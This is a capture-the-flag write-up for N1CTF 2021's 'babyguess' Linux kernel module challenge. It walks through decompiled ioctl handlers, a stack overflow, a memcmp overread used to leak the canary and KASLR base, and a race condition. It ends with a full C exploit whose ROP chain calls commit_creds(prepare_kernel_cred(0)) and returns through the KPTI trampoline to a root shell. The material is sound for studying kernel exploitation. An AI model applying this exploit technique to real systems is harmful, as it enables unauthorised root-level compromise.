babyguess
babyguess is a kernel buffer overflow challenge featuring a race condition and a buffer overread

CTFs/n1ctf/2021/babyguess at main · 0xTen/CTFs
GitHub

Reversing the module isn't the simplest of the tasks, but after reading through it we can notice it registers a new protocol family (family 15), which accepts 2 proto operations (ioctl and setsockopt)
Ioctl calls a function that implements 2 command (0x1337001 and 0x13371002).
size_t __fastcall magic_ioctl(__int64 a1, int a2, __int64 a3)
{
unsigned int v5; // [rsp+1Ch] [rbp-1BCh]
unsigned __int64 v6; // [rsp+38h] [rbp-1A0h]
size_t v7; // [rsp+38h] [rbp-1A0h]
__int64 v8; // [rsp+70h] [rbp-168h]
__int64 v9; // [rsp+98h] [rbp-140h]
size_t v10; // [rsp+A0h] [rbp-138h]
__int64 v11; // [rsp+B8h] [rbp-120h] BYREF
size_t n; // [rsp+C0h] [rbp-118h]
__int64 v13; // [rsp+C8h] [rbp-110h]
char s[256]; // [rsp+D0h] [rbp-108h] BYREF
unsigned __int64 v15; // [rsp+1D0h] [rbp-8h]
v15 = __readgsqword(0x28u);
v5 = -22;
if ( a2 == 0x13371001 )
return (unsigned int)check_devinfo_overflow_wp(a3);
if ( a2 != 0x13371002 )
return v5;
memset(s, 0, sizeof(s));
ret_a3((__int64)&v11, 0x18LL, 0);
if ( copy_from_user(&v11, a3, 0x18LL) )
return 0xFFFFFFEALL;
if ( v11 == 0x1337 )
{
v6 = n;
if ( (__int64)n > 256 )
v6 = 256LL;
v8 = v13;
if ( v6 > 0x7FFFFFFF )
BUG();
ret_a3((__int64)s, v6, 0);
if ( copy_from_user(s, v8, v6) )
return 4294967274LL;
if ( !memcmp(&dev_info + 1, s, n) )
return n;
}
else if ( v11 == 0x1338 )
{
v7 = n;
if ( (__int64)n > 256 )
v7 = 256LL;
v9 = v13;
v10 = n;
if ( n > 0x7FFFFFFF )
BUG();
ret_a3((__int64)s, n, 0);
if ( copy_from_user(s, v9, v10) )
return 4294967274LL;
if ( !memcmp(magic_key, s, v7) )
return v7;
}
return 0LL;
}
The 0x13371002 ioctl command runs into a very obvious buffer overflow:
[...]
v10 = n;
if ( n > 0x7FFFFFFF )
BUG();
ret_a3((__int64)s, n, 0);
if ( copy_from_user(s, v9, v10) )
[...]
s is a 0x100 bytes long buffer and n is an user controlled int64 used as the size on the call to copy_from_user. That would have been it if not for two reasons: kaslr and stack guard.

There is a global variable called dev_info that can be controlled via the setsockopt implementation but it gets XORed against another variable called magic_key that is initialized with get_random_bytes() when the module is loaded.
__int64 __fastcall edit_devinfo(__int64 a1)
{
int i; // [rsp+Ch] [rbp-3Ch]
__int64 v3; // [rsp+18h] [rbp-30h]
__int64 v4; // [rsp+30h] [rbp-18h]
v3 = dev_info;
v4 = dev_info;
if ( (unsigned __int64)dev_info > 0x7FFFFFFF )
BUG();
ret_a3((__int64)(&dev_info + 1), dev_info, 0);
if ( copy_from_user(&dev_info + 1, a1, v4) )
return -22LL;
for ( i = 0; i <= 255; ++i )
*((_BYTE *)&dev_info + i + 8) ^= magic_key[i];
return v3;
}
The dev_info structure is composed by an int64 that is again used as the size for copy_from_user and the user controlled data that will be XORed and stored. This data is later used on the ioctl operation on a memcmp that returns the user provided size n case the comparison is true, so we can abuse this to brute the bytes of dev_info.
if ( v11 == 0x1337 )
{
v6 = n;
if ( (__int64)n > 256 )
v6 = 256LL;
v8 = v13;
if ( v6 > 0x7FFFFFFF )
BUG();
ret_a3((__int64)s, v6, 0);
if ( copy_from_user(s, v8, v6) )
return 4294967274LL;
if ( !memcmp(&dev_info + 1, s, n) )
return n;
}
The whole point of getting those bytes is because there is a buffer overread on that comparison, so if we can force the first 0x100 bytes of s and dev_info to be identical we can keep bruting everything after them, which will be the stack canary and eventually the return address but for this to work we need another buffer overflow, this time in dev_info, so we can stored the bytes we want to compare.

We can't normally control the size of dev_info but there is this function that can be called by the ioctl operation:
__int64 __fastcall check_devinfo_overflow(unsigned __int64 a1)
{
__int64 v2; // [rsp+8h] [rbp-8h]
v2 = dev_info;
dev_info = a1;
if ( a1 > 0x100 )
{
printk(&unk_F6C);
dev_info = v2;
}
return 0LL;
}
This temporarily sets the dev_info size field to an user provided unsigned int64. If we create a thread that will call this function and at the same time we write to dev_info, that way we can write more than 0x100 bytes. Since the printk call is pretty slow compared to the rest of the code, we can build a pretty stable race condition.
If we combine this race condition with the memcmp bruteforce we can obtain the stack canary and the return address. SMEP and SMAP are also on so we'll need to ROP also.

#include <stdio.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
#include <pthread.h>
#include <stdbool.h>
#include <stdint.h>
int sock;
/* Guessed struct */
typedef struct {
long opt;
size_t n;
char *buf;
} magic_t;
/* Backup registers */
unsigned long bak_cs,bak_rflags,bak_ss,bak_rsp,bak_rip;
void bak(){
__asm__(
".intel_syntax noprefix;"
"mov bak_cs, cs;"
"mov bak_ss, ss;"
"mov bak_rsp, rsp;"
"pushf;"
"pop bak_rflags;"
".att_syntax;"
);
puts("[+]Registers backed up");
}
/* Helper functions */
void debug(){
puts("paused execution");
getchar();
}
void open_sock(){
sock = socket(15,SOCK_DGRAM,0);
puts("[+]Created socket");
}
void magic_bof(size_t n, char *buf){
magic_t magic = {
.opt = 0x1338,
.n = n,
.buf = buf
};
ioctl(sock,0x13371002,&magic);
}
size_t magic_overread(size_t n, char *buf){
magic_t magic = {
.opt = 0x1337,
.n = n,
.buf = buf
};
return ioctl(sock,0x13371002,&magic);
}
void *racer(){
/* Control dev_info->size */
while (1){
ioctl(sock,0x13371001,0x150);
}
}
size_t magic_devinfo(){
return syscall(54,sock,NULL,0xdeadbeef,0xdead000,NULL);
}
void bin_sh(){
close(sock);
printf("[+]UID: %d\n",getuid());
system("/bin/sh");
}
unsigned long bak_rip = (unsigned long)bin_sh;
void* gen_payload(unsigned long canary, unsigned long kaslr){
char *payload = malloc(0x200);
unsigned long *rop = (unsigned long)payload+0x100;
*rop++ = canary; // canary
*rop++ = 0;
*rop++ = 0xffffffff8108cbc0 + kaslr; // pop rdi
*rop++ = 0;
*rop++ = 0xffffffff810cac80 + kaslr; // prepare_kernel_cred
*rop++ = 0xffffffff81125f92 + kaslr; // pop rdx
*rop++ = -1;
*rop++ = 0xffffffff8103455d + kaslr; // cmp rdx,-1
*rop++ = 0;
*rop++ = 0;
*rop++ = 0xffffffff81278f23 + kaslr; // mov rdi,rax
*rop++ = 0;
*rop++ = 0;
*rop++ = 0xffffffff810ca910 + kaslr; // commit_creds
*rop++ = 0xffffffff81c00a34 + 22 + kaslr; // kpti trampoline
*rop++ = 0;
*rop++ = 0;
*rop++ = bak_rip;
*rop++ = bak_cs;
*rop++ = bak_rflags;
*rop++ = bak_rsp;
*rop++ = bak_ss;
return payload;
}
/* Exploit */
int main(){
pthread_t rcr;
bak();
char* overflow = mmap((void*)0xdead000, 1000, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_ANON|MAP_FIXED|MAP_PRIVATE, -1, 0);
memset(overflow,0x41,1000);
open_sock();
magic_devinfo();
char *brute = calloc(1, 256);
unsigned long *leak = calloc(1, 0x150);
/* Bruteforce dev_info and do race condition to trigger overread */
bool bruted = false;
size_t ret;
pthread_create(&rcr, NULL, racer, NULL);
puts("[+]Leaking canary");
for (size_t i = 0x101; i <= 0x150; i++){
for (int j = 0; j < 0x100; j++){
overflow[i-1] = (char)j;
do{
ret = magic_devinfo(); // writes into dev_info
} while(!ret);
if(!bruted){
for(size_t i1 = 1; i1 <= 0x100; i1++){
for(int j1 = 0; j1 < 0x100; j1++){
brute[i1-1] = (char)j1;
if (magic_overread(i1, brute)){
break;
}
}
}
bruted = true;
}
if (magic_overread(i, brute)){
((char*)leak)[i-1] = j;
break;
}
}
}
pthread_cancel(rcr);
unsigned long canary = leak[32];
unsigned long kaslr = leak[34] - 0xffffffff81902b1d;
void* payload = gen_payload(canary, kaslr);
/* Trigger buffer overflow */
printf("[+]Buffer overflow\n");
magic_bof(0x200, payload);
return 0;
}
Huge shoutout to my teammate Caue Obici for solving this with me!
Copy link
On this page
Files
The module
Controlling dev_info
Race condition
Final Exploit